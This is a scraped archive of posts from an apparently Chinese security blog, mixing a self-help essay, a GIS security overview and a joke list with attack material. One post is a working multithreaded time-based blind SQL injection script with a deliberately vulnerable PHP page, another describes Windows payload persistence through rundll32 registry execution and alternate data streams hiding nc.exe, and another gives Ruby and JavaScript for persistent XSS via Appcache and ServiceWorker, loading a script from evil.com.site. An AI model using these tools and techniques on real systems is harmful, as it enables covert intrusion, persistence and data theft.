所以，在你还没有足够强大足够优秀的时候，先别花太多那些宝贵的时间去社交，先花点时间读读书提升一下专业技能。我们都有过参加一个聚会发现无话可说甚至不知道做一些什么的经历，因为，这个群体，不属于你。
要知道，只有优秀的人，才能得到有用的社交。
几个月后，小白参加一个电视栏目大火，现在她依旧喜欢参加社交活动，她告诉我，现在甚至有些人每天给她每天分享一些文字，还有些是之前不喜欢理我的人。
一个当红作家曾经给我说过一个故事，他成名之前，给一个很大的报社投过稿，可是，多次发稿，却石沉大海。
一年后，他的书大卖，这家报社的创始人竟然亲自来找他约稿。
他们关系很好，因为一个需要卖书，一个需要发有质量的文字。有人说他和这个报社的关系好，他只说了一句话：
“等价的交换，才有了等价的友谊。”
别觉得世界残酷，这就是游戏规则，别着急痛苦这世界冰冷冷的像一块铁，请看完我的文字。
我在北京打拼的第一年，一无所有，可每周的都会有一个朋友来看我，给我送吃的，那哥们叫立冬，是我最好的朋友。
他曾经说，无论你是谁，但你是我兄弟。
后来我有点名气了，他依旧跟我说，别以为你是谁，你就是我兄弟。
这种人，被称为真朋友，他不适用于以上的规则。无论什么时候，他都愿意帮助你，无论你贫穷还是窝囊，因为你们共同经历过一些事情，他们总是不离不弃。你们的帮助，不用等价交换，只用感情平等，就好。
这种人不用多，在这个浮夸的世界里，几个就好。
所以，放弃那些无用无效的社交，提升自己，才能让世界变得更大。同时，相信世界上美好的友情，存在于彼此内心深处，安静的保守着他们。
（文/李尚龙）
作者简介：李尚龙，青年导演、编剧、作家，原新东方教师，代表作《你只是看起来很努力》。微博@尚龙老师，公众号：龙影部落（ID:lslmoviegoers）。
留言评论（旧系统）：
佚名 @ 2015-09-18 18:35:40
作者简介：李尚龙，青年导演、编剧、作家，原新东方教师，代表作《你只是看起来很努力》。微博@尚龙老师，公众号：龙影部落（ID:lslmoviegoers） 好详细。如果是写XXX文章作者是不是这个B就不火了啊？哈哈
本站回复：
-_-!!!
佚名 @ 2015-09-20 20:50:30
牙啊嘎嘎司空见惯是我今生的
本站回复：
[暂无回复]
小锋 @ 2015-09-21 13:40:14
6666666666
本站回复：
-_-!!!
Dicky @ 2015-09-21 14:14:28
竟然看成了 放弃那些无用的社工
本站回复：
-_-!!!
佚名 @ 2015-09-21 16:39:05
我也看成了社工。
本站回复：
-_-!!!
尘缘 @ 2015-09-22 20:18:04
我刚知道这个地方可以打广告 是真的吗？ 试试 欢迎大牛移步http://www.moxcn.com
本站回复：
-_-!!!
狼狼恶狗 @ 2015-09-23 09:11:53
放弃那些无用的性交，吓我一跳
本站回复：
-_-!!!
aaa @ 2015-10-05 16:50:47
看了前面，我的感觉就是，，以后没有朋友了，好伤心，看了后面发现，除了家人，真不知道还有谁可以做到这样不离不弃。
本站回复：
-_-!!!
cain @ 2015-10-26 14:23:15
这个写的真心好，我还以为是您老人家写的呢，结果不是，，，， 可否转载？
本站回复：
欢迎转载！版权归原作者所有！
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-09-10 15:31:22
引文：近几年，工控安全问题已经逐渐进入人们的视线中，与此同时，GIS安全问题或许会在未来成为一大安全焦点。本文将会简述GIS在地理学中的内容，而着重于GIS系统的Web安全等问题进行分析，希望本文能起到抛砖引玉的作用，让更多安全人士，GIS系统开发者以及用户能够关注到这一领域。
一．解读GIS
GIS（即地理信息系统，Geographic Information System）属于地理信息技术，结合地理学和计算机科学，已经广泛的应用在不同的领域，是用于输入、存储、查询、分析和显示地理数据的系统，GIS是一种基于计算机的工具，它可以对空间信息进行分析和处理（简而言之，是对地球上存在的现象和发生的事件进行成图和分析）。 GIS 技术把地图这种独特的视觉化效果和地理分析功能与一般的数据库操作（例如查询和统计分析等）集成在一起。（结合百度）
GIS系统举例：
这个广西动物疫病预防控制中心的GIS系统
从图中可以看出，结合了可变的地图，可以更快的了解到各地区出现的疫情情况并进行及时处理。同时，系统自带的预警系统和数据分析可以更高效，简便的帮助动物疫病预防控制中心进行工作。
GIS系统实现过程简述：
GIS系统涉及领域：
自然方面——灾难预测，区域环境变化（台风，降水等）
人文社会——人口统计，经济分析，教育资源分布等
以及军事，医疗等众多领域
粗陋的理解是，GIS是一种结合地图与数据的信息系统（有地图，有数据的。。）
二.Web安全中的GIS
笔者通过漏洞挖掘，以及在乌云收集到的漏洞案例，按照GIS系统类型和漏洞类型对目前GIS安全在Web安全中的问题做出了归纳。方便大家能够看到当前的一些GIS系统的安全现状
三.GIS安全问题总结
在中国，GIS系统还处在普及阶段，许多人找到GIS系统漏洞后，却完全不了解这一系统的作用，甚至认为GIS只是普通的三个字符。对于GIS开发者，很多Web端的GIS系统存在着明显的漏洞，对于用户，在使用系统时大多使用了弱口令，GIS安全问题确实需要我们重视。相信在未来，随着物联网，云时代的普及，会有更多诸如110报警系统，救援系统应用到了GIS，那是GIS安全问题将成为一大安全焦点。
本文虽然有些管中窥豹之处，但是所有技术不都是在不断完善中而完美的么？也真因如此，人们手中的一个细管，变成了望远镜。
最后感谢乌云平台提供的漏洞支持，以及所有为GIS安全做出过贡献的白帽子们。
留言评论（旧系统）：
酱油先生 @ 2015-09-11 22:27:02
上次有人给我个天津某出租车公司车辆管理GPS系统 没敢深入 是SQL注射漏洞 估计是写这个系统的人安全意识不够
本站回复：
-_-!!!
佚名 @ 2015-09-14 15:52:43
借这个地方 问问 freebuf 是不是有漏洞 还是？ 不用登陆 帖子就可以 回复 “用户名 邮箱 内容...” 试了别的帖子 "换个用户名" 同样 也可以回复
本站回复：
匿名留言，和登录的不一样。
日进斗金 @ 2015-09-17 19:23:18
GIS系统 特别是政府机关的 60%都是弱口令问题。举例子 去年挖的某地的一个水库GIS 现在密码还是123456.........
本站回复：
+1
手机回收网 @ 2015-09-18 14:45:14
宅急收专业正规手机回收网：http://www.zhaijis.com/
本站回复：
你这是在打广告吗？
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-09-10 15:26:26
#!/usr/bin/env python # -*- coding: utf-8 -*- # 延迟注入工具 import urllib2 import time import socket import threading import requests class my_threading(threading.Thread): def __init__(self, str,x): threading.Thread.__init__(self) self.str = str self.x = x def run(self): global res x=self.x j = self.str url = "http://localhost/demo/1.php?username=root'+and+if%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29," + str(x) + ",1%29%29%29,8,0%29,"+ str(j) + ",1%29%29,sleep%282%29,0%29%23" html = request(url) verify = 'timeout' if verify not in html: res[str(j)] = 0 #print 1 else: res[str(j)] = 1 def request(URL): user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' } req = urllib2.Request(URL, None, user_agent) try: request = urllib2.urlopen(req,timeout=2) except Exception ,e: time.sleep(2) return 'timeout' return request.read() def curl(url): try: start = time.clock() requests.get(url) end = time.clock() return int(end) except requests.RequestException as e: print u"访问出错!" exit() def getLength(): i = 0 while True: print "[+] Checking: %s \r" %i url = "http://localhost/demo/1.php?username=root'+and+sleep(if(length((select%20user()))="+ str(i) +",1,0))%23" html = request(url) verify = 'timeout' if verify in html: print u"[+] 数据长度为： %s" %i return i i = i + 1 def bin2dec(string_num): return int(string_num, 2) def getData(dataLength): global res data = "" for x in range(dataLength): x = x + 1 #print x threads = [] for j in range(8): result = "" j = j + 1 sb = my_threading(j,x) sb.setDaemon(True) threads.append(sb) #print j for t in threads: t.start() for t in threads: t.join() #print res tmp = "" for i in range(8): tmp = tmp + str(res[str(i+1)]) #print chr(bin2dec(tmp)) res = {} result = chr(bin2dec(tmp)) print result data = data + result sb = None print "[+] ok!" print "[+] result:" + data if __name__ == '__main__': stop = False res = {} length = getLength() getData(length)1.php
<?php /* * 延迟注入测试 */ header("Content-type:text/html;charset=utf8"); $link = mysql_connect("localhost", "root",""); mysql_select_db("mysql", $link); mysql_set_charset("utf8"); $sql = "SELECT user FROM user where user='{$_GET['username']}'"; echo $sql; $query = mysql_query($sql); echo "这是一个没有任何回显的注入点"; ?>
如果要爆数据啥的话就改py代码里面的select%20user()，替换为你要执行的sql即可
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-09-10 15:19:44
整理一下payload隐藏的相关技巧，也想向大家学习一下更好的经验思路:)
0x00 目标：
维持对目标主机的控制权限
0x01 要求：
尽最大程度减少在目标windows主机留下文件，降低被发现被捕获样本的概率
0x02 方法：
1、伪造文件后缀名
使用不常见的后缀名，藏于系统的某个角落
分析：
最简单直接的办法，但被发现的概率也最大
2、插入正常文件
将payload保存到系统正常文件的中间或者尾部
分析：
比方法1高级一些，复杂度+1，没有单独生成文件，隐蔽性+2
3、藏于注册表
将payload加密存于注册表
分析：
易被监控，隐蔽性-1，但poweliks的运用使该项技术创新性+2
poweliks简介：
2014年8月左右出现
XCon2015《应用层持久化攻击技术》也对此做了介绍
特点：
将payload保存为非ASCII字符，无法被注册表正常读取
运行代码方式：
（1）直接执行jscript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('foo');（2）读取注册表payload并执行
HKCU\\software\\microsoft\\windows\\currentversion\\run\\
读取并执行
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=jscript>"+(new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\software\\microsoft\\windows\\currentversion\\run\\")+"\74/script>")如图
补充：
一个加密jscript的网站：http://tool.lu/js/
4、ADS (供选数据流/ alternate data stream)
将payload存入正常文件的ADS中
分析：
适用于长度较小的payload，常用来执行vbs、Powershell脚本，效率+1，实现难度-1
常用命令：
列出文件ADS
dir /r test.txt
写入ADS
type nc.exe > test.txt:nc.exe
触发器
该触发器是一段VB脚本，会打开一个cmd运行test.txt:1 里的脚本
echo Dim objShell:Set objShell = WScript.CreateObject("WScript.Shell"):command = "cmd /C for /f ""delims=,"" %i in (C:\\test\\test.txt:1) do %i":objShell.Run command, 0:Set objShell = Nothing > test.txt:run.vbs5、wmibackdoor
将payload存入WMI Class中，详情见drops链接：http://drops.wooyun.org/tips/8260
分析：
该方法目前普及不高，检测方法也很单一，所以payload放在这里隐蔽性+3
6、Steganography
隐写术，将payload存到图片中，甚至可以伪造windows中的默认图片
分析：
隐写术由来已久，但门槛很高，复杂度+1，因此检测成本也很高，隐蔽性+3
下图存入了我的payload，如果有兴趣的同学解密出来送他wb：）
0x03 小结
ring0下隐藏未涉及，愿意分享的同学也送你wb：）
如果发现我的理解有误，请及时指出~
希望大家把思路分享出来，共同学习共同进步~
留言评论（旧系统）：
佚名 @ 2015-10-22 00:28:11
试了好几个软件，没有解出来您图片中的信息，555. 能告诉我怎么做的吗？
本站回复：
哈哈哈，继续加油！
- 博客 Jiajun的编程随想 2015-09-05 08:00:00《Thinking Recursively》在之前阅读 `Eric Roberts
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-08-31 15:42:37
利用 Appcache 和 ServiceWorker 进行持久型session hijacking 和 XSS
小饼仔 | 2015-08-20 14:52
看了篇文章 Using Appcache and ServiceWorker for Evil，讲的是黑下服务器后，通过 Middlekit 技术，污染每个访问者的浏览器cache，通过这个方法，我们能够改变请求的响应，将请求代理到我们的server，造成持久的session hijacking 和 XSS。
PS：老外思路确实猥琐！
翻译或理解有误，欢迎指出~
下面是示意图
文件具体介绍了浏览器下两种攻击方法
- 利用浏览器的 Appcache 造成持久的cache poisoning
- 利用ServiceWorker 来更改所有请求的响应(Chrome下)
AppCache
简单介绍
随着移动互联网越来越普及， 在移动端采用web技术解决跨平台、快速部署、快速发布的方案也越来越多。 但对于web方式实现的app又面临者网络的强依赖，对网速和流量有较高要求，针对此问题html提出了AppCache方案， 用于解决web离线缓存问题
AppCache详细介绍可以参考HTML5 AppCache机制分析
理解了AppCache的原理，后面的会好理解些
影响范围：Appcache在所有新版浏览器中都得到了支持，参考 http://caniuse.com/#search=appcache
首先说一下示例代码大体思路：
1. 首先在server上添加一个路由请求
/a.appcache
请求返回内容为浏览器需要缓存的页面路径等信息，需要有一定格式
并设置响应头
response.headers['cache-control'] = 'max-age=3155760000' # 缓存超时时间 response.headers['content-type'] = 'text/cache-manifest; charset=UTF-8' #表明是cache-manifest文件
浏览器根据该文件内容来缓存指定的页面。
2. 然后创建一个恶意页面这里为 middlekit.html，需要在内容的 html 标签里加一个属性，
<html manifest='/a.appcache'>
用于加载a.appcache，告诉浏览器需要缓存
然后其他内容随可以为恶意js等。
当然也可以修改其他访问多的页面内容，添加manifest，比如入口页index.html
3. 用户访问 2 中的恶意页面 middlekit.html，浏览器载入a.appcache，然后根据内容缓存我们指定的文件，而这些文件的内容，我们是可以替换的，比如加入xss等恶意代码。
4. 用户后续请求这些文件，将会载入本地的缓存，而本地缓存文件包含了恶意代码。
正常来说，浏览器从缓存中拿文件时，都会向服务器请求相应cache-manifest文件，如果cache-manifest文件被修改过，就会修改或删除本地的缓存。但是如果cache-manifest本身在缓存的列表之中，浏览器就会从缓存中拿，而不会请求服务器。
还有就是无法通过javascript来删除缓存，这就使得只要缓存一次，除非手动访问 chrome://appcache-internals/ 删除，缓存就会一直存在。即使是网站已经修复了漏洞，插入了恶意代码的本地文件依然在浏览器的缓存中，一直影响用户，造成持久的session hijacking 和 XSS
PS. wifi下的中间人攻击(MitM)，也可以替换是http的响应，达到同样的目的。
下面是代码，用的是ruby 微型Web框架 sinatra
require 'sinatra' # 替换响应内容 wire = lambda do if params[:utm_medium] r= "real content" else r=<<HTML <html manifest='/a.appcache'> <script src="https://evil.com.site/middlekit.js"></script> <script> function load(url){ x=new XMLHttpRequest; x.open('get',url); x.setRequestHeader('Accept','text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'); x.setRequestHeader('Cache-Control','max-age=0'); x.setRequestHeader('Upgrade-Insecure-Requests','1'); x.send(); x.onreadystatechange=function(){ if(x.readyState==4){ document.write(x.responseText); //document.body.parentElement.innerHTML = x.responseText; } } } if(location.href.indexOf("?") != -1){ var u = location.href + "&utm_medium=1"; }else{ var u = location.href + "?utm_medium=1"; } //history.pushState("","",url); console.log("Infected") load(u); </script> </html> HTML end r end # 路由path pages = %w{/ /reconnect /lengthextension /logindemo /peatio.pdf /stealtitle /blog/2015/03/15/authy_bypass.html /blog/2015/03/03/duo_format_injection.html /blog/2015/07/28/appcache.html /blog/2015/03/10/Profilejacking.html /blog/2015/06/04/mongo_ruby_regexp.html /blog/2015/05/08/pusher.html /blog/2015/03/04/hybrid_api_auth.html /blog/2015/03/27/slack_or_reset_token_hashing.html /blog/2015/07/18/2fa.html /blog/2015/05/21/starbucks.html /blog/2015/03/05/RECONNECT.html /blog/2014/01/01/puzzle1.html /blog/2015/04/10/email_password_manager.html /blog/2015/02/28/openuri.html /blog/2015/06/25/puzzle2.html /blog/2015/01/22/peatio-audit.html /blog/2015/01/10/hacking-bitcoin-exchanger.html /triple} # 替换响应内容 pages.each{|page| get page, &wire } # 响应/a.appcache get '/a.appcache' do response.headers['cache-control'] = 'max-age=3155760000' response.headers['content-type'] = 'text/cache-manifest; charset=UTF-8' "CACHE MANIFEST /a.appcache #{pages.join("\n")} " end测试的时候需要修改下hosts文件，添加
127.0.0.1 sakurity.com
本地执行后，chrome://appcache-internals 缓存内容
打开任意一个缓存后链接，显示从cache取
还有因为在 manifest 中需要指定缓存文件，所以尽可能多的收集URL才能让user agent cache多一些。比如可以利用google site关键字，site:victim.com
作者给出的通过google来收集url的ruby代码
require 'open-uri' f=open('https://www.google.ru/search?q=site%3Asakurity.com&oq=site%3Asakurity.com&aqs=chrome..69i57j69i58.2444j0j9&sourceid=chrome&es_sm=91&ie=UTF-8').read def get_pages(domain) f=open('https://www.google.ru/search?q=site%3A'+domain+'&oq=site%3Asakurity.com&aqs=chrome..69i57j69i58.2444j0j9&sourceid=chrome&es_sm=91&ie=UTF-8&start=10&num=100&').read r = f.scan /http:\/\/#{domain}(.*?)[&%]/im puts r.flatten.uniq.join(' ') end get_pages 'sakurity.com'在收集过程中，可以收集一些用户相关的url，比如“/settings” or “/homakov/direct_messages”。
ServiceWorker
介绍：
Service Worker，我们可以用它来进行本地缓存，相当于一个本地的proxy。说起缓存，我们会想起我们常用的一些缓存技术来缓存我们的静态资源，但是老的方式是不支持调试的，灵活性不高。使用Service Worker来进行缓存，我们可以用javascript代码来拦截浏览器的http请求，并设置缓存的文件，直接返回，不经过web服务器，然后，做更多你想做的事情。
如果我们使用了Service Worker做缓存，浏览器http请求会先经过Service Worker，通过url mapping去匹配，如果匹配到了，则使用缓存数据，如果匹配失败，则继续执行你指定的动作。一般情况下，匹配失败则让页面显示“网页无法打开”。
上面是Service Worker的基本使用场景，当然，不仅仅局限于数据缓存。
详细可参考 初识ServiceWorker
影响范围：Chrome on desktop and only over https: websites
但危害比Appcache更大，但范围有限。
利用 ServiceWorker ，我们不需要为每一个页面都设置缓存，它能够拦截所有请求，修改响应。能够通过一个worker来控制整个domain
js代码
onfetch=function(e){ e.respondWith(new Response('<script>alert(document.domain)</script>',{headers: {'Content-Type':'text/html'}})) }为了安装ServiceWorker ，浏览器会判断响应头中包含
content-type:text/javascript
那这个怎么办呢？
许多JSONP接口都会返回任意的JS代码。所以可以结合JSONP
示例服务器端代码
# Try to get persistent XSS on https://clientsit.herokuapp.com/ # 1. The user loads the /xss link you crafted # 2. The user closes the tab and opens any other page # 3. The user sees an alert. # PS. not ruby specific. For Chrome. get '/jsonp' do response.headers['content-type'] = 'text/javascript' "#{params[:callback]}(0)" end get '/xss' do response.headers['x-xss-protection'] = '0;' "<html><body>Hello, #{params[:user]}</body></html>" end昨天试了下，还是可以执行的，今天就被Chrome XSS Auditor拦了
可以说
XSS + JSONP + ServiceWorker = Permanent XSS on every page
总结
Appcache 修复起来非常困难，因为缓存是在客户端。它可以被作为完美长期的 cache poisoning tool。当我们访问的服务器被控制或不安全的连接（中间人攻击）会受到该攻击影响
ServiceWorker是一项新兴技术，实现时需要考虑很多问题，比如和JSONP一起使用的情况。让任意响应为 text/javascript 成为一个ServiceWorker是非常糟糕的主意。至少可以添加额外的响应头 Service-Worker:true 或 准确的指明 Content-Type:text/javascript-serviceworker 来加以限制
各种吐槽：
1#
hkAssassin | 2015-08-20 15:28
不错
2#
海盗湾V | 2015-08-20 19:37
赞一个。。
3#
小饼仔 | 2015-08-21 15:03
@海盗湾V @hkAssassin 感觉如果利用起来，危害不小，可以试试
4#
insight-labs (Root Yourself in Success) | 2015-08-21 16:25
除非手动访问 chrome://appcache-internals/ 删除，缓存就会一直存在。即使是网站已经修复了漏洞，插入了恶意代码的本地文件依然在浏览器的缓存中，一直影响用户，造成持久的session hijacking 和 XSS
很实用的技术啊
5#
hkAssassin | 2015-08-21 17:25
@小饼仔 是的。危害不小
6#
小饼仔 | 2015-08-21 18:27
@insight-labs 修复方式是让用户自己手动删除，确实不实际
7#
超蓝 (换个马甲好好做人，请叫我暧昧) | 2015-08-21 20:51
6666
够猥琐
8#
debug | 2015-08-24 09:14
思路不错
manifest 文件需要配置正确的 MIME-type，即 "text/cache-manifest"。必须在 web 服务器上进行配置。
9#
爱捣蛋的鬼 | 2015-08-24 14:29
除非手动访问 chrome://appcache-internals/ 删除，缓存就会一直存在。即使是网站已经修复了漏洞，插入了恶意代码的本地文件依然在浏览器的缓存中，一直影响用户，造成持久的session hijacking 和 XSS
。。都知道这个恶意代码了, 如果修改了话, 那肯定会更改版本号了，让缓存失效~
10#
爱上平顶山 (IT民工 职业搬砖 挖坑 丝一枚 神马都不会~) | 2015-08-24 14:59
刁刁的
11#
小饼仔 | 2015-08-24 15:02
@爱捣蛋的鬼 正常来说manifest如果没有被缓存，服务器端如果更新了，本地缓存也会修改。如果把manifest本身也加到缓存列表中，浏览器就不会去服务端拿manifest文件了。
12#
爱捣蛋的鬼 | 2015-08-24 17:30
@小饼仔 了解了，这个屌，我忘记了这个缓存描述文件，本身自己被缓存了~~~
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-08-31 15:31:35
1、全球化的认证有助于提升逼格，什么OCM、CCIE、RHCA、CISSP等等能考都考，再不济，也要有一张系统架构设计师或者网络规划设计师的信产部认证。每过一个认证，逼格提升一档。
2、TCP/IP协议、Linux内核深入研究、ORACLE大全等等之类的超过1千页大本头的书能有效提升B格，一定要放手边。不懂不要紧，别人能看见就行了。真有人跟你谈这些，也别担心装B失败，谈网络就从TCP的实现谈起，谈Linux就从内存的管理谈起，谈数据库就从各数据库SQL语句的源码实现谈起。如果有人跟你谈MS的东西也不要紧，就说自己之前有多年的微软的工作经历，外包的也算。反正也不会有查。有人非要跟你谈硬件，最次也要从计算机部件分类谈起吧。
3、大众化的东西要少用。能用ATS，就别用squid；能用postgresql，就别用MySQL；坚信什么nginx、lighty这种webserver要比apache好一万倍，而且apache能实现的功能，这些都能实现，不行就自己写模块、写扩展。实在要用apache，也别用高版本，抱死1.3的系统。有人要是问起，就说这是基于1.3的版是自己深度二次开发版本。实在要找不到的话也不要紧，没事在sf、oschina上看看什么下载量少的项目，背背项目简介啥的。不得不说，这两个网站太贴心，分类都给你做好了。总之，小众的东西能很有效的提升你的装逼级别。
4、写脚本的话，别用grep、sort 、uniq、管道这类命令。使用纯粹的awk、sed的实现，长度不要紧，阅读性、性能也不是问题。功能实现了，别人都还不懂这就是关键。如果真有人来请教，也要装出一副很简单的表情。切记不要摇头尾巴晃。就算是你是从《sed和awk》这种书上抄你自己也不一定能看懂的代码。
5、虽然会shell，但也要少用shell。初级装逼者，系统管理会首选perl、python、php这类3p的工具，而且要对shell这种语言有一种不屑。把什么性能、移植性、面向对象要常挂嘴边。如果还能再写几行什么erlang、ruby、lua这类语言做系统管理，绝对是装B神器，也是中级装逼的标准。高级装逼者会有Haskell这类函数式语言进行系统管理，这绝对是装B的B2轰炸机呀。当然，资深装逼者会返璞归真，使用面向对象进行shell编程。对，你没看错，是使用OO进行shell编程。
6、当谈到Redhat、ubuntu这类大众发行版本时，就回复一个字“切！”LFS、Gentoo这类系统绝对是装逼的首选。不为什么，就为在无穷尽的编译中找到属于自己的快感。如果非装大众发行版，也要从开机画面、登陆提示等等地方打自己上深刻的烙印。装逼的寂寞岂是一般人能懂的。
7、对什么checkpoint，juniper等表示不屑。必须天天把iptabes的链和表都挂在嘴边，尤其是mangle表。原则上对商用产品的一律不屑一顾，什么f5，radware一律自己开发实现。至于意外的将自己关在外面的事情一定要严格遵守各自公司的保密协议。
8、对于操作终端呢，像SecureCRT、xshell这种绝对是不用的，一定要用最原始的，什么黑屏绿字只是初级装逼者的水平，中高级则是Alpha半透明终端，桌面背景在设置个全球internet流量趋势图。让你根本就不知道他天天对着屏幕在敲什么东西。有事没事编译一些大型软件，看着翻滚的屏幕做思考状。
9、名片的title一定要是系统架构师，没有名片也不要紧，什么QQ签名、人人状态、微博简介上，有人看的地方一定要写上。这些都是提升B格的好地方。
10、初级装逼谈流量、PV、自动化；中级装逼谈流程、谈规范，什么ITIL、ITSM要常挂嘴边；高级装逼谈架构、谈模式；资深装逼则谈合同、谈成本。
11、混圈子对装逼来非常有必要的。什么XX沙龙、XX架构师大会、XX优化大会之类必要是常客，露个B脸就行。基本原则就是跟搞系统谈网络，跟搞网络的谈数据库，跟搞数据库的谈安全……对方不懂什么就谈什么对就了
12、最后，骨灰级早就超出三界外，不在五行中，他们注定有着传奇的色彩。他们正忙于对装逼者们进行职业发展规划。装逼助理、初级装逼、高级装逼、资深装逼、装逼总监直至CBO。如果发展了到了CBO，那么你一定是一位惊天地、泣鬼神的一代B神，一统江湖的教主，供万千iBer敬仰。darling，我很看好你哟！
留言评论（旧系统）：
佚名 @ 2015-08-31 17:59:22
至今有1年了，LFS(linux From Scratch)还是菜，上面的其实不是装b，只是一个进化的方向罢了(然而被你们这群混蛋用来装b)
本站回复：
-_-!!!
西兰花 @ 2015-09-07 08:39:25
混圈子对装逼来非常有必要的。什么XX沙龙、XX架构师大会、XX优化大会之类必要是常客，露个B脸就行。【这B脸露的。。。。】
本站回复：
-_-!!!
佚名 @ 2015-09-20 21:26:06
+深度好闻
本站回复：
-_-!!!
狼狼恶狗 @ 2015-09-23 09:09:33
大哥，我想装逼。求领进门
本站回复：
真不收~ -_-!!!
佚名 @ 2015-09-29 17:44:35
打开lcx.cc本来就是为了装个B~~ -_-
本站回复：
-_-!!!
佚名 @ 2015-09-30 09:22:13
装B软文
本站回复：
-_-!!!
装的一首好b @ 2015-12-12 17:11:37
如题
本站回复：
-_-!!!
佚名 @ 2016-01-27 13:00:58
受教了。。。就往这个比格上发展。。。
本站回复：
-_-!!!
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-08-31 15:21:55
视频: 借用空气清新剂从外部打开基于PIR Motion Sensor的“安全”门
用喷雾触发传感器来打开“安全”门
只能说samy实在是太机智了。。
再附上两篇有趣的议题，是大黑客samy在这次的defcon上讲的。
一个是借助signal jammer，来猥琐的“bypass” rolling code。内容和spencer whyte的Analysis of RF Remote Security Using Software Defined Radio里讲的如何应对rolling code部分很相似。不过samy 多走了许多步，让attack显得更加犀利。其实我觉得在关门的时候jam掉信号然后用你喜欢的姿势播放一下关门时会出来的那个声音也挺有意思的。嘛，不知道有多少人会在关门的时候看着车按钥匙。。
http://samy.pl/defcon2015/2015-defcon.pdf
另外一个是通过OpenSesame Attack来缩短针对fixed code的爆破时间。
相关内容：
北京NDS公司工程师攻击46万台机顶盒传播反动信息 获刑12年
号称不会被查水表的通信APP-Telegram，悬赏20万美元求漏洞
讨论：如何在网络上保护个人隐私？互联网时代的隐私泄露与安全保护？
简单获取CDN背后网站的真实IP，CDN逆向，反向跟踪网站真实IP
JSON探针—定位目标网络虚拟信息身份，利用大量三方网站cookie进行追踪
WiFi流量劫持：网站JS脚本缓存投毒！长期控制！浏览任意页面即可中毒！
社会工程学追踪 妻子花6万挖出小三 给60多个号充话费锁定4人
逆向追踪一起针对国内企业OA系统精心策划的大规模钓鱼攻击事件
论匿名转帐和转移资产的可能，如何：网络匿迹、匿名洗钱、转移资产系统
跨行、跨省银行卡间转账不用手续费？利用支付宝为什么不收手续费？
Discuz 爆破无视验证码，PHP 调用社工库暴破 Discuz 论坛账户脚本
现实生活中的社工：批量搞同学校里妹子QQ、手机等信息，伪装老师套学生信息
伪装快递打电话社工地址，我这样用手机社目标住址大家觉得可行吗？
移动"4G"卡所带来的威胁，随便补办别人手机卡？4G换卡补办别人手机号？
中航信系统漏洞泄露乘客信息，查询任意航班乘机人姓名,航班号,身份证,手机号
移动电源内置窃听器，在淘宝上买的充电宝内置远程定位、监听硬件后门！
APT攻击：境外间谍“飞哥”假扮女网友策反境内人员 窃取中国军事秘密
Angry Birds和广告系统泄露个人信息——FireEye对Angry Birds的分析
2014 最新 web qq 密码的加密方式分析过程，WebQQ 登陆密码加密算法分析
小米手机客户资料泄露了吗？冒充小米售后回访诈骗电话：01053799231
使用WiFi真的有那么危险吗？安全科普：教你增强自己的无线网络安全
黑客讲故事:攻下隔壁女生路由器后,我都做了些什么,无线路由器被蹭网后,入侵女神
女黑客Oona，分析直升机现场拍摄警车追捕画面中的信号声，绘出飞机飞行轨迹
多层代理下解决链路低延迟的技巧，多层代理网络匿迹，反追踪，隐藏、保护自己
基于Wordpress Pingback的反追踪思路？木马远控通过“代理”上线？
发个社工福利站，搜库 - 密码泄露查询，社工库，泄露密码查询库
揭露一个飞机退改签的诈骗：借口机票退改签要退款，索要银行卡号，套取个人信息
一起网络诈骗案的风险揭示，套取用户信息、信用卡、支付宝、快捷支付洗钱
如何在网络中隐藏自己？再论拨了国外VPN代理，是否可被逆向追踪？
江西男子克隆国外银行卡刷513万 给两任女友395万 跨境盗刷信用卡
支付宝/淘宝帐号无需密码登录任意帐号，随意查看用户资料/交易记录/转账洗钱
个人认为微信支付存在的安全问题，同一银行卡多重绑定，恶意盗刷
关于3G流量上网卡！（匿名上网），隐藏自己、网络匿迹、保护自己
浅谈社工，欢迎讨论、补充，各种猥琐社工、人肉技巧，物理社工、人肉
【TED】Markham Nolan：如何辨别网上信息真伪，神级人肉，物理社工
探秘国际职业黑客：插U盘植入木马如同拍电影，做得上班族扮得007，社工大师
俄罗斯黑客被曝潜伏Facebook，搭建蜜罐监视tor网络数据
保护水表：关于tor和mac地址的疑问，各位进来讨论一下，反追踪/匿迹
XX域名商实战，社工客服妹妹，毫不费力拿到目标公司内部通讯录
探秘时刻：多重身份的逃犯，不翼而飞的七百万，几百买身份证一票弄了700万
由“正方”jiam、jiemi之逆向思及Base64之逆编码表
您的工商银行电子密码器将于次日失效？伪基站垃圾短信，网银钓鱼诈骗！
讨论一下，怎么才能社工到岛国AV女优的真实资料，例如：泷泽萝拉
朋友点开一个文件给骗30万，一种“高级”QQ诈骗骗术，远控电脑诈骗
关于伪基站的一些问题：信号覆盖范围？设备成本？是否违法？教程资料？
伪基站是怎么定位的呢？定位并抓捕伪基站、圈地短信、垃圾短信犯罪团伙！
【防骗】又见网银诈骗，骗子冒充朋友，借口卡丢了先借你卡转账用用，揭秘！
遇到一个加密方式 只有1和0 求大神告知，二进制字符串“加密”
全方位在互联网中保护自己第七章（上网习惯以及计算机唯一代码追踪的防范）
社工某黑阔大牛的域名，“脑残”客服，狗血 +10086！！！
京东 淘宝 天猫订单信息泄露诈骗, 接到“京东”的客服电话之后遭遇团伙诈骗
金融改革记录片(97% Owned)－97%被私人银行占据的无中生有债务货币
【略狗血】一种结合本地程序的更加猥琐的钓鱼方式（中招率+100%）
逆向追踪之：通过QQ群里的图片逆向入侵，拿了几个phpddos的脚本
娱乐贴：打击网络诈骗 - 骗子骗钱反被骗 - 发个骗子的手法，其实还是时时彩
全方位在互联网中保护自己第六章（国产软件或后门软件的替代品(下)）
全方位在互联网中保护自己第三章（知识普及篇—了解网监的实力与暗箭（下）
简单分析丝绸之路创始人如何被抓，FBI真的能透过TOR获取真实IP么？
